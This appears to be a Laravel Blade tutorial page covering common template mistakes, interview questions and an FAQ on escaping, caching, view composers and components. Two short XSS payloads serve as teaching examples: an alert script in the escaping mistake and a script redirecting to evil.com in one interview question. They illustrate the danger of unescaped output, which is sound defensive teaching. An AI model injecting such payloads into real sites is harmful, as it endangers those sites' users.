  • Blade compiles to cached PHP files — always run view:cache during deployment. Never run view:clear without immediately running view:cache.
  • View composers inject shared data automatically, eliminating duplicated controller logic. Use them for data needed across multiple views (categories, user settings, navigation items).

⚠ Common Mistakes to Avoid

    Putting whitespace or a BOM before @extends
    Symptom

    'Headers already sent' error or garbled output at the top of the page because PHP has already flushed that whitespace to the browser before Laravel can set response headers.

    Fix

    @extends must be the absolute first character in the file. No blank lines, no spaces, no HTML above it.

    Using {!! !!} (unescaped output) out of habit instead of {{ }}
    Symptom

    XSS vulnerability where a user can inject <script>alert('hacked')</script> through a form field that gets stored in the database and rendered on screen.

    Fix

    always use {{ }} by default. Only use {!! !!} for pre-sanitized HTML you trust completely, like content that has been run through an HTML purifier or generated by your own code.

    Stuffing conditional logic directly into Blade templates instead of component classes or view composers
    Symptom

    Blade files with 10+ nested @if blocks and complex PHP expressions, making them impossible to read or test.

    Fix

    move any logic that goes beyond a simple boolean check into the component's PHP class as a computed property or method, or use a view composer to prepare data before the view renders.

    Running php artisan view:clear in production without immediately running view:cache
    Symptom

    first request after deploy takes 500ms+ as every template recompiles. Under concurrent load, multiple requests compete to compile the same template, causing CPU spikes.

    Fix

    always run view:clear && view:cache as a pair in your deployment script.

    Using shorthand @section with @endsection
    Symptom

    Blade parsing error that is confusing to debug because the error message does not clearly indicate the problem.

    Fix

    use @section('title', 'My Title') for single-line sections (no @endsection). Use @section('content') ... @endsection for multi-line blocks (no shorthand).

    Not clearing OPcache after PHP-FPM restart
    Symptom

    stale compiled PHP bytecode serves old template content even after deployment.

    Fix

    after restarting PHP-FPM, warm OPcache by hitting the homepage. Or use opcache.revalidate_freq=0 in production to check file timestamps on every request.

    Placing expensive database queries in component constructors
    Symptom

    the query executes on every render, even if the component's output is cached. A page with 5 components each running a query adds 5 queries per page load.

    Fix

    move expensive operations to view composers or pass pre-fetched data as props.

Interview Questions on This Topic

  • QWhat is the difference between @yield and @section/@show in Laravel Blade, and when would you use each?
  • QHow do Blade components differ from @include, and what advantage does using a class-based component give you that a plain @include cannot provide?
  • QIf you use {!! $userBio !!} to render a user's profile bio and a user submits '<script>document.location="https://evil.com"</script>' as their bio, what happens and how do you prevent it?
  • QExplain the Blade compilation lifecycle. What happens on the first request vs subsequent requests? How does OPcache interact with Blade's compiled templates?
  • QA developer reports that their Blade template changes are not reflected in the browser after deployment. Walk me through the debugging process.
  • QWhat is the @parent directive and when would you use it? How does it differ from completely overriding a section?
  • QHow would you structure a Blade layout hierarchy for an application with public pages, authenticated pages, and an admin panel with a sidebar?

Frequently Asked Questions

What is the difference between @include and Blade components in Laravel?

@include simply pulls in another Blade file and shares the current view's variable scope. Blade components have their own PHP class for logic, accept typed props, support named slots, and are fully unit-testable. Use @include for simple static partials; use components for anything that accepts data or has conditional logic.

Can I use PHP code directly inside a Blade template?

Yes, using the @php ... @endphp directive. However, you should do this sparingly. Complex logic in Blade templates makes them hard to test and maintain. Prefer pushing logic into controllers, view composers, or component classes and passing only ready-to-display data to the view.

What is the difference between {{ }} and {!! !!} in Laravel Blade?

{{ $variable }} automatically escapes HTML entities, turning <script> into &lt;script&gt; and protecting you from XSS attacks. {!! $variable !!} outputs the raw value without escaping. Only use {!! !!} for HTML you have explicitly sanitized yourself — never for user-submitted content.

How does Blade compilation work and why does it matter for production?

Blade compiles .blade.php files into plain PHP files on first render. The compiled files are stored in storage/framework/views/ and served directly on subsequent requests. This means Blade adds near-zero runtime overhead. In production, run php artisan view:cache during deployment to pre-compile all templates. Never run view:clear without immediately running view:cache.

What is a view composer and when should I use one?

A view composer is a callback that injects data into a view automatically when it renders. Register view composers in AppServiceProvider. Use them when multiple views need the same data (e.g., categories for a sidebar). This eliminates duplicated data-passing logic across controllers.

How do I unit test a Blade component?

Test the PHP class methods directly with PHPUnit — no HTTP request needed. For example, test AlertMessage::iconClass() returns the correct CSS class for each alert type. Do not test the rendered HTML in unit tests — use Laravel's feature tests (with actingAs and get) for rendered output testing.

🔥
Naren Founder & Author

Developer and founder of TheCodeForge. I built this site because I was tired of tutorials that explain what to type without explaining why it works. Every article here is written to make concepts actually click.

← PreviousLaravel Eloquent ORMNext →Laravel Migrations
Forged with 🔥 at TheCodeForge.io — Where Developers Are Forged